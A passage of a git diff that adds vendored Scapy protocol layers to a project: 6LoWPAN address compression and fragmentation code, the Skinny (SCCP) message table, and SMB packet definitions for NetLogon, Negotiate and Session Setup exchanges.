copying + # (self.m == 0 and self.dac == 1) + tmp_ip = _extract_dot15d4address(self, source=False) + + elif self.m == 0 and self.dac == 1: + if self.dam == 0: + raise Exception('Reserved') + elif self.dam == 0x3: + tmp_ip = _extract_dot15d4address(self, source=False) + elif self.dam not in [0x1, 0x2]: + warning("Unknown destiny address compression mode !") + elif self.m == 1 and self.dac == 0: + if self.dam == 0: + raise Exception("unimplemented") + elif self.dam == 1: + tmp = b"\xff" + chb(tmp_ip[16 - destiny_addr_mode(self)]) + tmp_ip = tmp + b"\x00" * 9 + tmp_ip[-5:] + elif self.dam == 2: + tmp = b"\xff" + chb(tmp_ip[16 - destiny_addr_mode(self)]) + tmp_ip = tmp + b"\x00" * 11 + tmp_ip[-3:] + else: # self.dam == 3: + tmp_ip = b"\xff\x02" + b"\x00" * 13 + tmp_ip[-1:] + elif self.m == 1 and self.dac == 1: + if self.dam == 0x0: + raise Exception("Unimplemented: I didn't understand the 6lowpan specification") # noqa: E501 + else: # all the others values + raise Exception("Reserved value by specification.") + + self.destinyAddr = inet_ntop(socket.AF_INET6, tmp_ip) + return self.destinyAddr + + def compressSourceAddr(self, ipv6): + tmp_ip = inet_pton(socket.AF_INET6, ipv6.src) + + if self.sac == 0: + if self.sam == 0x0: + pass + elif self.sam == 0x1: + tmp_ip = tmp_ip[8:16] + elif self.sam == 0x2: + tmp_ip = tmp_ip[14:16] + else: # self.sam == 0x3: + pass + else: # self.sac == 1 + if self.sam == 0x0: + tmp_ip = b"\x00" * 16 + elif self.sam == 0x1: + tmp_ip = tmp_ip[8:16] + elif self.sam == 0x2: + tmp_ip = tmp_ip[14:16] + + self.sourceAddr = inet_ntop(socket.AF_INET6, b"\x00" * (16 - len(tmp_ip)) + tmp_ip) # noqa: E501 + return self.sourceAddr + + def compressDestinyAddr(self, ipv6): + tmp_ip = inet_pton(socket.AF_INET6, ipv6.dst) + + if self.m == 0 and self.dac == 0: + if self.dam == 0x0: + pass + elif self.dam == 0x1: + tmp_ip = b"\x00" * 8 + tmp_ip[8:16] + elif self.dam == 0x2: + tmp_ip = b"\x00" * 14 + tmp_ip[14:16] + elif self.m == 0 and self.dac == 1: + if self.dam == 0x1: + tmp_ip = b"\x00" * 8 + tmp_ip[8:16] + elif self.dam == 0x2: + tmp_ip = b"\x00" * 14 + tmp_ip[14:16] + elif self.m == 1 and self.dac == 0: + if self.dam == 0x1: + tmp_ip = b"\x00" * 10 + tmp_ip[1:2] + tmp_ip[11:16] + elif self.dam == 0x2: + tmp_ip = b"\x00" * 12 + tmp_ip[1:2] + tmp_ip[13:16] + elif self.dam == 0x3: + tmp_ip = b"\x00" * 15 + tmp_ip[15:16] + elif self.m == 1 and self.dac == 1: + raise Exception('Unimplemented') + + self.destinyAddr = inet_ntop(socket.AF_INET6, tmp_ip) + + def decompressSourceAddr(self, packet): + try: + tmp_ip = inet_pton(socket.AF_INET6, self.sourceAddr) + except socket.error: + tmp_ip = b"\x00" * 16 + + if self.sac == 0: + if self.sam == 0x0: + pass + elif self.sam == 0x1: + tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[16 - source_addr_mode2(self):16] # noqa: E501 + elif self.sam == 0x2: + tmp = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" + tmp_ip = tmp + tmp_ip[16 - source_addr_mode2(self):16] + elif self.sam == 0x3: # EXTRACT ADDRESS FROM Dot15d4 + tmp_ip = _extract_dot15d4address(self, source=True) + else: + warning("Unknown source address compression mode !") + else: # self.sac == 1: + if self.sam == 0x0: + pass + elif self.sam == 0x2: + # TODO: take context IID + tmp = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" + tmp_ip = tmp + tmp_ip[16 - source_addr_mode2(self):16] + elif self.sam == 0x3: + tmp_ip = LINK_LOCAL_PREFIX[0:8] + b"\x00" * 8 # TODO: CONTEXT ID # noqa: E501 + else: + raise Exception('Unimplemented') + self.sourceAddr = inet_ntop(socket.AF_INET6, tmp_ip) + return self.sourceAddr + + def guess_payload_class(self, payload): + if self.underlayer and isinstance(self.underlayer, (LoWPANFragmentationFirst, LoWPANFragmentationSubsequent)): # noqa: E501 + return Raw + return IPv6 + + def do_build(self): + if not isinstance(self.payload, IPv6): + return Packet.do_build(self) + ipv6 = self.payload + + self._reserved = 0x03 + + # NEW COMPRESSION TECHNIQUE! + # a ) Compression Techniques + + # 1. Set Traffic Class + if self.tf == 0x0: + self.tc_ecn = ipv6.tc >> 6 + self.tc_dscp = ipv6.tc & 0x3F + self.flowlabel = ipv6.fl + elif self.tf == 0x1: + self.tc_ecn = ipv6.tc >> 6 + self.flowlabel = ipv6.fl + elif self.tf == 0x2: + self.tc_ecn = ipv6.tc >> 6 + self.tc_dscp = ipv6.tc & 0x3F + else: # self.tf == 0x3: + pass # no field is set + + # 2. Next Header + if self.nh == 0x0: + self.nh = 0 # ipv6.nh + elif self.nh == 0x1: + self.nh = 0 # disable compression + # The Next Header field is compressed and the next header is encoded using LOWPAN_NHC, which is discussed in Section 4.1. # noqa: E501 + warning('Next header compression is not implemented yet ! Will be ignored') # noqa: E501 + + # 3. HLim + if self.hlim == 0x0: + self._hopLimit = ipv6.hlim + else: # if hlim is 1, 2 or 3, there are nothing to do! + pass + + # 4. Context (which context to use...) + if self.cid == 0x0: + pass + else: + # TODO: Context Unimplemented yet in my class + self._contextIdentifierExtension = 0 + + # 5. Compress Source Addr + self.compressSourceAddr(ipv6) + self.compressDestinyAddr(ipv6) + + return Packet.do_build(self) + + def do_build_payload(self): + if self.header_compression and\ + self.header_compression & 240 == 240: # TODO: UDP header IMPROVE + return raw(self.payload)[40 + 16:] + else: + return raw(self.payload)[40:] + + def _getTrafficClassAndFlowLabel(self): + """Page 6, draft feb 2011 """ + if self.tf == 0x0: + return (self.tc_ecn << 6) + self.tc_dscp, self.flowlabel + elif self.tf == 0x1: + return (self.tc_ecn << 6), self.flowlabel + elif self.tf == 0x2: + return (self.tc_ecn << 6) + self.tc_dscp, 0 + else: + return 0, 0 + +# Old compression (deprecated) + + +class LoWPAN_HC1(Raw): + name = "LoWPAN_HC1 Compressed IPv6 (Not supported)" + + +class SixLoWPAN(Packet): + name = "SixLoWPAN(Packet)" + + @classmethod + def dispatch_hook(cls, _pkt=b"", *args, **kargs): + """Depending on the payload content, the frame type we should interpretate""" # noqa: E501 + if _pkt and len(_pkt) >= 1: + if orb(_pkt[0]) == 0x41: + return LoWPANUncompressedIPv6 + if orb(_pkt[0]) == 0x42: + return LoWPAN_HC1 + if orb(_pkt[0]) >> 3 == 0x18: + return LoWPANFragmentationFirst + elif orb(_pkt[0]) >> 3 == 0x1C: + return LoWPANFragmentationSubsequent + elif orb(_pkt[0]) >> 6 == 0x02: + return LoWPANMesh + elif orb(_pkt[0]) >> 6 == 0x01: + return LoWPAN_IPHC + return cls + + +# fragmentate IPv6 +MAX_SIZE = 96 + + +def sixlowpan_fragment(packet, datagram_tag=1): + """Split a packet into different links to transmit as 6lowpan packets. + Usage example:: + + >>> ipv6 = ..... (very big packet) + >>> pkts = sixlowpan_fragment(ipv6, datagram_tag=0x17) + >>> send = [Dot15d4()/Dot15d4Data()/x for x in pkts] + >>> wireshark(send) + """ + if not packet.haslayer(IPv6): + raise Exception("SixLoWPAN only fragments IPv6 packets !") + + str_packet = raw(packet[IPv6]) + + if len(str_packet) <= MAX_SIZE: + return [packet] + + def chunks(l, n): + return [l[i:i + n] for i in range(0, len(l), n)] + + new_packet = chunks(str_packet, MAX_SIZE) + + new_packet[0] = LoWPANFragmentationFirst(datagramTag=datagram_tag, datagramSize=len(str_packet)) / new_packet[0] # noqa: E501 + i = 1 + while i < len(new_packet): + new_packet[i] = LoWPANFragmentationSubsequent(datagramTag=datagram_tag, datagramSize=len(str_packet), datagramOffset=MAX_SIZE // 8 * i) / new_packet[i] # noqa: E501 + i += 1 + + return new_packet + + +def sixlowpan_defragment(packet_list): + results = {} + for p in packet_list: + cls = None + if LoWPANFragmentationFirst in p: + cls = LoWPANFragmentationFirst + elif LoWPANFragmentationSubsequent in p: + cls = LoWPANFragmentationSubsequent + if cls: + tag = p[cls].datagramTag + results[tag] = results.get(tag, b"") + p[cls].payload.load # noqa: E501 + return {tag: SixLoWPAN(x) for tag, x in results.items()} + + +bind_layers(SixLoWPAN, LoWPANFragmentationFirst,) +bind_layers(SixLoWPAN, LoWPANFragmentationSubsequent,) +bind_layers(SixLoWPAN, LoWPANMesh,) +bind_layers(SixLoWPAN, LoWPAN_IPHC,) +bind_layers(LoWPANMesh, LoWPANFragmentationFirst,) +bind_layers(LoWPANMesh, LoWPANFragmentationSubsequent,) +# TODO: I have several doubts about the Broadcast LoWPAN +# bind_layers( LoWPANBroadcast, LoWPANHC1CompressedIPv6, ) +# bind_layers( SixLoWPAN, LoWPANBroadcast, ) +# bind_layers( LoWPANMesh, LoWPANBroadcast, ) +# bind_layers( LoWPANBroadcast, LoWPANFragmentationFirst, ) +# bind_layers( LoWPANBroadcast, LoWPANFragmentationSubsequent, ) + +# TODO: find a way to chose between ZigbeeNWK and SixLoWPAN (cf. dot15d4.py) +# Currently: use conf.dot15d4_protocol value +# bind_layers(Dot15d4Data, SixLoWPAN) diff --git a/libs/scapy/layers/skinny.py b/libs/scapy/layers/skinny.py new file mode 100755 index 0000000..9385c15 --- /dev/null +++ b/libs/scapy/layers/skinny.py @@ -0,0 +1,162 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Skinny Call Control Protocol (SCCP) +""" + +from scapy.packet import Packet, bind_layers +from scapy.fields import LEIntField, LEIntEnumField +from scapy.layers.inet import TCP + +# shamelessly ripped from Ethereal dissector +skinny_messages = { + # Station -> Callmanager + 0x0000: "KeepAliveMessage", + 0x0001: "RegisterMessage", + 0x0002: "IpPortMessage", + 0x0003: "KeypadButtonMessage", + 0x0004: "EnblocCallMessage", + 0x0005: "StimulusMessage", + 0x0006: "OffHookMessage", + 0x0007: "OnHookMessage", + 0x0008: "HookFlashMessage", + 0x0009: "ForwardStatReqMessage", + 0x000A: "SpeedDialStatReqMessage", + 0x000B: "LineStatReqMessage", + 0x000C: "ConfigStatReqMessage", + 0x000D: "TimeDateReqMessage", + 0x000E: "ButtonTemplateReqMessage", + 0x000F: "VersionReqMessage", + 0x0010: "CapabilitiesResMessage", + 0x0011: "MediaPortListMessage", + 0x0012: "ServerReqMessage", + 0x0020: "AlarmMessage", + 0x0021: "MulticastMediaReceptionAck", + 0x0022: "OpenReceiveChannelAck", + 0x0023: "ConnectionStatisticsRes", + 0x0024: "OffHookWithCgpnMessage", + 0x0025: "SoftKeySetReqMessage", + 0x0026: "SoftKeyEventMessage", + 0x0027: "UnregisterMessage", + 0x0028: "SoftKeyTemplateReqMessage", + 0x0029: "RegisterTokenReq", + 0x002A: "MediaTransmissionFailure", + 0x002B: "HeadsetStatusMessage", + 0x002C: "MediaResourceNotification", + 0x002D: "RegisterAvailableLinesMessage", + 0x002E: "DeviceToUserDataMessage", + 0x002F: "DeviceToUserDataResponseMessage", + 0x0030: "UpdateCapabilitiesMessage", + 0x0031: "OpenMultiMediaReceiveChannelAckMessage", + 0x0032: "ClearConferenceMessage", + 0x0033: "ServiceURLStatReqMessage", + 0x0034: "FeatureStatReqMessage", + 0x0035: "CreateConferenceResMessage", + 0x0036: "DeleteConferenceResMessage", + 0x0037: "ModifyConferenceResMessage", + 0x0038: "AddParticipantResMessage", + 0x0039: "AuditConferenceResMessage", + 0x0040: "AuditParticipantResMessage", + 0x0041: "DeviceToUserDataVersion1Message", + # Callmanager -> Station */ + 0x0081: "RegisterAckMessage", + 0x0082: "StartToneMessage", + 0x0083: "StopToneMessage", + 0x0085: "SetRingerMessage", + 0x0086: "SetLampMessage", + 0x0087: "SetHkFDetectMessage", + 0x0088: "SetSpeakerModeMessage", + 0x0089: "SetMicroModeMessage", + 0x008A: "StartMediaTransmission", + 0x008B: "StopMediaTransmission", + 0x008C: "StartMediaReception", + 0x008D: "StopMediaReception", + 0x008F: "CallInfoMessage", + 0x0090: "ForwardStatMessage", + 0x0091: "SpeedDialStatMessage", + 0x0092: "LineStatMessage", + 0x0093: "ConfigStatMessage", + 0x0094: "DefineTimeDate", + 0x0095: "StartSessionTransmission", + 0x0096: "StopSessionTransmission", + 0x0097: "ButtonTemplateMessage", + 0x0098: "VersionMessage", + 0x0099: "DisplayTextMessage", + 0x009A: "ClearDisplay", + 0x009B: "CapabilitiesReqMessage", + 0x009C: "EnunciatorCommandMessage", + 0x009D: "RegisterRejectMessage", + 0x009E: "ServerResMessage", + 0x009F: "Reset", + 0x0100: "KeepAliveAckMessage", + 0x0101: "StartMulticastMediaReception", + 0x0102: "StartMulticastMediaTransmission", + 0x0103: "StopMulticastMediaReception", + 0x0104: "StopMulticastMediaTransmission", + 0x0105: "OpenReceiveChannel", + 0x0106: "CloseReceiveChannel", + 0x0107: "ConnectionStatisticsReq", + 0x0108: "SoftKeyTemplateResMessage", + 0x0109: "SoftKeySetResMessage", + 0x0110: "SelectSoftKeysMessage", + 0x0111: "CallStateMessage", + 0x0112: "DisplayPromptStatusMessage", + 0x0113: "ClearPromptStatusMessage", + 0x0114: "DisplayNotifyMessage", + 0x0115: "ClearNotifyMessage", + 0x0116: "ActivateCallPlaneMessage", + 0x0117: "DeactivateCallPlaneMessage", + 0x0118: "UnregisterAckMessage", + 0x0119: "BackSpaceReqMessage", + 0x011A: "RegisterTokenAck", + 0x011B: "RegisterTokenReject", + 0x0042: "DeviceToUserDataResponseVersion1Message", + 0x011C: "StartMediaFailureDetection", + 0x011D: "DialedNumberMessage", + 0x011E: "UserToDeviceDataMessage", + 0x011F: "FeatureStatMessage", + 0x0120: "DisplayPriNotifyMessage", + 0x0121: "ClearPriNotifyMessage", + 0x0122: "StartAnnouncementMessage", + 0x0123: "StopAnnouncementMessage", + 0x0124: "AnnouncementFinishMessage", + 0x0127: "NotifyDtmfToneMessage", + 0x0128: "SendDtmfToneMessage", + 0x0129: "SubscribeDtmfPayloadReqMessage", + 0x012A: "SubscribeDtmfPayloadResMessage", + 0x012B: "SubscribeDtmfPayloadErrMessage", + 0x012C: "UnSubscribeDtmfPayloadReqMessage", + 0x012D: "UnSubscribeDtmfPayloadResMessage", + 0x012E: "UnSubscribeDtmfPayloadErrMessage", + 0x012F: "ServiceURLStatMessage", + 0x0130: "CallSelectStatMessage", + 0x0131: "OpenMultiMediaChannelMessage", + 0x0132: "StartMultiMediaTransmission", + 0x0133: "StopMultiMediaTransmission", + 0x0134: "MiscellaneousCommandMessage", + 0x0135: "FlowControlCommandMessage", + 0x0136: "CloseMultiMediaReceiveChannel", + 0x0137: "CreateConferenceReqMessage", + 0x0138: "DeleteConferenceReqMessage", + 0x0139: "ModifyConferenceReqMessage", + 0x013A: "AddParticipantReqMessage", + 0x013B: "DropParticipantReqMessage", + 0x013C: "AuditConferenceReqMessage", + 0x013D: "AuditParticipantReqMessage", + 0x013F: "UserToDeviceDataVersion1Message", +} + + +class Skinny(Packet): + name = "Skinny" + fields_desc = [LEIntField("len", 0), + LEIntField("res", 0), + LEIntEnumField("msg", 0, skinny_messages)] + + +bind_layers(TCP, Skinny, dport=2000) +bind_layers(TCP, Skinny, sport=2000) +bind_layers(TCP, Skinny, dport=2000, sport=2000) diff --git a/libs/scapy/layers/smb.py b/libs/scapy/layers/smb.py new file mode 100755 index 0000000..4c0caaa --- /dev/null +++ b/libs/scapy/layers/smb.py @@ -0,0 +1,400 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +SMB (Server Message Block), also known as CIFS. +""" + +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteEnumField, ByteField, FlagsField, \ + LEFieldLenField, LEIntField, LELongField, LEShortField, ShortField, \ + StrFixedLenField, StrLenField, StrNullField +from scapy.layers.netbios import NBTSession +from scapy.layers.smb2 import SMB2_Header + + +# SMB NetLogon Response Header +class SMBNetlogon_Protocol_Response_Header(Packet): + name = "SMBNetlogon Protocol Response Header" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), + ByteEnumField("Command", 0x25, {0x25: "Trans"}), + ByteField("Error_Class", 0x02), + ByteField("Reserved", 0), + LEShortField("Error_code", 4), + ByteField("Flags", 0), + LEShortField("Flags2", 0x0000), + LEShortField("PIDHigh", 0x0000), + LELongField("Signature", 0x0), + LEShortField("Unused", 0x0), + LEShortField("TID", 0), + LEShortField("PID", 0), + LEShortField("UID", 0), + LEShortField("MID", 0), + ByteField("WordCount", 17), + LEShortField("TotalParamCount", 0), + LEShortField("TotalDataCount", 112), + LEShortField("MaxParamCount", 0), + LEShortField("MaxDataCount", 0), + ByteField("MaxSetupCount", 0), + ByteField("unused2", 0), + LEShortField("Flags3", 0), + ByteField("TimeOut1", 0xe8), + ByteField("TimeOut2", 0x03), + LEShortField("unused3", 0), + LEShortField("unused4", 0), + LEShortField("ParamCount2", 0), + LEShortField("ParamOffset", 0), + LEShortField("DataCount", 112), + LEShortField("DataOffset", 92), + ByteField("SetupCount", 3), + ByteField("unused5", 0)] + +# SMB MailSlot Protocol + + +class SMBMailSlot(Packet): + name = "SMB Mail Slot Protocol" + fields_desc = [LEShortField("opcode", 1), + LEShortField("priority", 1), + LEShortField("class", 2), + LEShortField("size", 135), + StrNullField("name", "\\MAILSLOT\\NET\\GETDC660")] + +# SMB NetLogon Protocol Response Tail SAM + + +class SMBNetlogon_Protocol_Response_Tail_SAM(Packet): + name = "SMB Netlogon Protocol Response Tail SAM" + fields_desc = [ByteEnumField("Command", 0x17, {0x12: "SAM logon request", 0x17: "SAM Active directory Response"}), # noqa: E501 + ByteField("unused", 0), + ShortField("Data1", 0), + ShortField("Data2", 0xfd01), + ShortField("Data3", 0), + ShortField("Data4", 0xacde), + ShortField("Data5", 0x0fe5), + ShortField("Data6", 0xd10a), + ShortField("Data7", 0x374c), + ShortField("Data8", 0x83e2), + ShortField("Data9", 0x7dd9), + ShortField("Data10", 0x3a16), + ShortField("Data11", 0x73ff), + ByteField("Data12", 0x04), + StrFixedLenField("Data13", "rmff", 4), + ByteField("Data14", 0x0), + ShortField("Data16", 0xc018), + ByteField("Data18", 0x0a), + StrFixedLenField("Data20", "rmff-win2k", 10), + ByteField("Data21", 0xc0), + ShortField("Data22", 0x18c0), + ShortField("Data23", 0x180a), + StrFixedLenField("Data24", "RMFF-WIN2K", 10), + ShortField("Data25", 0), + ByteField("Data26", 0x17), + StrFixedLenField("Data27", "Default-First-Site-Name", 23), + ShortField("Data28", 0x00c0), + ShortField("Data29", 0x3c10), + ShortField("Data30", 0x00c0), + ShortField("Data31", 0x0200), + ShortField("Data32", 0x0), + ShortField("Data33", 0xac14), + ShortField("Data34", 0x0064), + ShortField("Data35", 0x0), + ShortField("Data36", 0x0), + ShortField("Data37", 0x0), + ShortField("Data38", 0x0), + ShortField("Data39", 0x0d00), + ShortField("Data40", 0x0), + ShortField("Data41", 0xffff)] + +# SMB NetLogon Protocol Response Tail LM2.0 + + +class SMBNetlogon_Protocol_Response_Tail_LM20(Packet): + name = "SMB Netlogon Protocol Response Tail LM20" + fields_desc = [ByteEnumField("Command", 0x06, {0x06: "LM 2.0 Response to logon request"}), # noqa: E501 + ByteField("unused", 0), + StrFixedLenField("DblSlash", "\\\\", 2), + StrNullField("ServerName", "WIN"), + LEShortField("LM20Token", 0xffff)] + +# SMBNegociate Protocol Request Header + + +class SMBNegociate_Protocol_Request_Header(Packet): + name = "SMBNegociate Protocol Request Header" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), + ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), + ByteField("Error_Class", 0), + ByteField("Reserved", 0), + LEShortField("Error_code", 0), + ByteField("Flags", 0x18), + LEShortField("Flags2", 0x0000), + LEShortField("PIDHigh", 0x0000), + LELongField("Signature", 0x0), + LEShortField("Unused", 0x0), + LEShortField("TID", 0), + LEShortField("PID", 1), + LEShortField("UID", 0), + LEShortField("MID", 2), + ByteField("WordCount", 0), + LEShortField("ByteCount", 12)] + +# Generic version of SMBNegociate Protocol Request Header + + +class SMBNegociate_Protocol_Request_Header_Generic(Packet): + name = "SMBNegociate Protocol Request Header Generic" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4)] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + Depending on the first 4 bytes of the packet, + dispatch to the correct version of Header + (either SMB or SMB2) + + """ + if _pkt and len(_pkt) >= 4: + if _pkt[:4] == b'\xffSMB': + return SMBNegociate_Protocol_Request_Header + if _pkt[:4] == b'\xfeSMB': + return SMB2_Header + return cls + +# SMB Negotiate Protocol Request Tail + + +class SMBNegociate_Protocol_Request_Tail(Packet): + name = "SMB Negotiate Protocol Request Tail" + fields_desc = [ByteField("BufferFormat", 0x02), + StrNullField("BufferData", "NT LM 0.12")] + +# SMBNegociate Protocol Response Advanced Security + + +class SMBNegociate_Protocol_Response_Advanced_Security(Packet): + name = "SMBNegociate Protocol Response Advanced Security" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), + ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), + ByteField("Error_Class", 0), + ByteField("Reserved", 0), + LEShortField("Error_Code", 0), + ByteField("Flags", 0x98), + LEShortField("Flags2", 0x0000), + LEShortField("PIDHigh", 0x0000), + LELongField("Signature", 0x0), + LEShortField("Unused", 0x0), + LEShortField("TID", 0), + LEShortField("PID", 1), + LEShortField("UID", 0), + LEShortField("MID", 2), + ByteField("WordCount", 17), + LEShortField("DialectIndex", 7), + ByteField("SecurityMode", 0x03), + LEShortField("MaxMpxCount", 50), + LEShortField("MaxNumberVC", 1), + LEIntField("MaxBufferSize", 16144), + LEIntField("MaxRawSize", 65536), + LEIntField("SessionKey", 0x0000), + LEShortField("ServerCapabilities", 0xf3f9), + BitField("UnixExtensions", 0, 1), + BitField("Reserved2", 0, 7), + BitField("ExtendedSecurity", 1, 1), + BitField("CompBulk", 0, 2), + BitField("Reserved3", 0, 5), + # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. # noqa: E501 + LEIntField("ServerTimeHigh", 0xD6228000), + LEIntField("ServerTimeLow", 0x1C4EF94), + LEShortField("ServerTimeZone", 0x3c), + ByteField("EncryptionKeyLength", 0), + LEFieldLenField("ByteCount", None, "SecurityBlob", adjust=lambda pkt, x: x - 16), # noqa: E501 + BitField("GUID", 0, 128), + StrLenField("SecurityBlob", "", length_from=lambda x: x.ByteCount + 16)] # noqa: E501 + +# SMBNegociate Protocol Response No Security +# When using no security, with EncryptionKeyLength=8, you must have an EncryptionKey before the DomainName # noqa: E501 + + +class SMBNegociate_Protocol_Response_No_Security(Packet): + name = "SMBNegociate Protocol Response No Security" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), + ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), + ByteField("Error_Class", 0), + ByteField("Reserved", 0), + LEShortField("Error_Code", 0), + ByteField("Flags", 0x98), + LEShortField("Flags2", 0x0000), + LEShortField("PIDHigh", 0x0000), + LELongField("Signature", 0x0), + LEShortField("Unused", 0x0), + LEShortField("TID", 0), + LEShortField("PID", 1), + LEShortField("UID", 0), + LEShortField("MID", 2), + ByteField("WordCount", 17), + LEShortField("DialectIndex", 7), + ByteField("SecurityMode", 0x03), + LEShortField("MaxMpxCount", 50), + LEShortField("MaxNumberVC", 1), + LEIntField("MaxBufferSize", 16144), + LEIntField("MaxRawSize", 65536), + LEIntField("SessionKey", 0x0000), + LEShortField("ServerCapabilities", 0xf3f9), + BitField("UnixExtensions", 0, 1), + BitField("Reserved2", 0, 7), + BitField("ExtendedSecurity", 0, 1), + FlagsField("CompBulk", 0, 2, "CB"), + BitField("Reserved3", 0, 5), + # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. # noqa: E501 + LEIntField("ServerTimeHigh", 0xD6228000), + LEIntField("ServerTimeLow", 0x1C4EF94), + LEShortField("ServerTimeZone", 0x3c), + ByteField("EncryptionKeyLength", 8), + LEShortField("ByteCount", 24), + BitField("EncryptionKey", 0, 64), + StrNullField("DomainName", "WORKGROUP"), + StrNullField("ServerName", "RMFF1")] + +# SMBNegociate Protocol Response No Security No Key + + +class SMBNegociate_Protocol_Response_No_Security_No_Key(Packet): + namez = "SMBNegociate Protocol Response No Security No Key" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), + ByteEnumField("Command", 0x72, {0x72: "SMB_COM_NEGOTIATE"}), + ByteField("Error_Class", 0), + ByteField("Reserved", 0), + LEShortField("Error_Code", 0), + ByteField("Flags", 0x98), + LEShortField("Flags2", 0x0000), + LEShortField("PIDHigh", 0x0000), + LELongField("Signature", 0x0), + LEShortField("Unused", 0x0), + LEShortField("TID", 0), + LEShortField("PID", 1), + LEShortField("UID", 0), + LEShortField("MID", 2), + ByteField("WordCount", 17), + LEShortField("DialectIndex", 7), + ByteField("SecurityMode", 0x03), + LEShortField("MaxMpxCount", 50), + LEShortField("MaxNumberVC", 1), + LEIntField("MaxBufferSize", 16144), + LEIntField("MaxRawSize", 65536), + LEIntField("SessionKey", 0x0000), + LEShortField("ServerCapabilities", 0xf3f9), + BitField("UnixExtensions", 0, 1), + BitField("Reserved2", 0, 7), + BitField("ExtendedSecurity", 0, 1), + FlagsField("CompBulk", 0, 2, "CB"), + BitField("Reserved3", 0, 5), + # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. # noqa: E501 + LEIntField("ServerTimeHigh", 0xD6228000), + LEIntField("ServerTimeLow", 0x1C4EF94), + LEShortField("ServerTimeZone", 0x3c), + ByteField("EncryptionKeyLength", 0), + LEShortField("ByteCount", 16), + StrNullField("DomainName", "WORKGROUP"), + StrNullField("ServerName", "RMFF1")] + +# Session Setup AndX Request + + +class SMBSession_Setup_AndX_Request(Packet): + name = "Session Setup AndX Request" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), + ByteEnumField("Command", 0x73, {0x73: "SMB_COM_SESSION_SETUP_ANDX"}), # noqa: E501 + ByteField("Error_Class", 0), + ByteField("Reserved", 0), + LEShortField("Error_Code", 0), + ByteField("Flags", 0x18), + LEShortField("Flags2", 0x0001), + LEShortField("PIDHigh", 0x0000), + LELongField("Signature", 0x0), + LEShortField("Unused", 0x0), + LEShortField("TID", 0), + LEShortField("PID", 1), + LEShortField("UID", 0), + LEShortField("MID", 2), + ByteField("WordCount", 13), + ByteEnumField("AndXCommand", 0x75, {0x75: "SMB_COM_TREE_CONNECT_ANDX"}), # noqa: E501 + ByteField("Reserved2", 0), + LEShortField("AndXOffset", 96), + LEShortField("MaxBufferS", 2920), + LEShortField("MaxMPXCount", 50), + LEShortField("VCNumber", 0), + LEIntField("SessionKey", 0), + LEFieldLenField("ANSIPasswordLength", None, "ANSIPassword"), + LEShortField("UnicodePasswordLength", 0), + LEIntField("Reserved3", 0), + LEShortField("ServerCapabilities", 0x05), + BitField("UnixExtensions", 0, 1), + BitField("Reserved4", 0, 7), + BitField("ExtendedSecurity", 0, 1), + BitField("CompBulk", 0, 2), + BitField("Reserved5", 0, 5), + LEShortField("ByteCount", 35), + StrLenField("ANSIPassword", "Pass", length_from=lambda x: x.ANSIPasswordLength), # noqa: E501 + StrNullField("Account", "GUEST"), + StrNullField("PrimaryDomain", ""), + StrNullField("NativeOS", "Windows 4.0"), + StrNullField("NativeLanManager", "Windows 4.0"), + ByteField("WordCount2", 4), + ByteEnumField("AndXCommand2", 0xFF, {0xFF: "SMB_COM_NONE"}), + ByteField("Reserved6", 0), + LEShortField("AndXOffset2", 0), + LEShortField("Flags3", 0x2), + LEShortField("PasswordLength", 0x1), + LEShortField("ByteCount2", 18), + ByteField("Password", 0), + StrNullField("Path", "\\\\WIN2K\\IPC$"), + StrNullField("Service", "IPC")] + +# Session Setup AndX Response + + +class SMBSession_Setup_AndX_Response(Packet): + name = "Session Setup AndX Response" + fields_desc = [StrFixedLenField("Start", b"\xffSMB", 4), + ByteEnumField("Command", 0x73, {0x73: "SMB_COM_SESSION_SETUP_ANDX"}), # noqa: E501 + ByteField("Error_Class", 0), + ByteField("Reserved", 0), + LEShortField("Error_Code", 0), + ByteField("Flags", 0x90), + LEShortField("Flags2", 0x1001), + LEShortField("PIDHigh", 0x0000), + LELongField("Signature", 0x0), + LEShortField("Unused", 0x0), + LEShortField("TID", 0), + LEShortField("PID", 1), + LEShortField("UID", 0), + LEShortField("MID", 2), + ByteField("WordCount", 3), + ByteEnumField("AndXCommand", 0x75, {0x75: "SMB_COM_TREE_CONNECT_ANDX"}), # noqa: E501 + ByteField("Reserved2", 0), + LEShortField("AndXOffset", 66), + LEShortField("Action", 0), + LEShortField("ByteCount", 25), + StrNullField("NativeOS", "Windows 4.0"), + StrNullField("NativeLanManager", "Windows 4.0"), + StrNullField("PrimaryDomain", ""), + ByteField("WordCount2", 3), + ByteEnumField("AndXCommand2", 0xFF, {0xFF: "SMB_COM_NONE"}), + ByteField("Reserved3", 0), + LEShortField("AndXOffset2", 80), + LEShortField("OptionalSupport", 0x01), + LEShortField("ByteCount2", 5), + StrNullField("Service", "IPC"), + StrNullField("NativeFileSystem", "")] + + 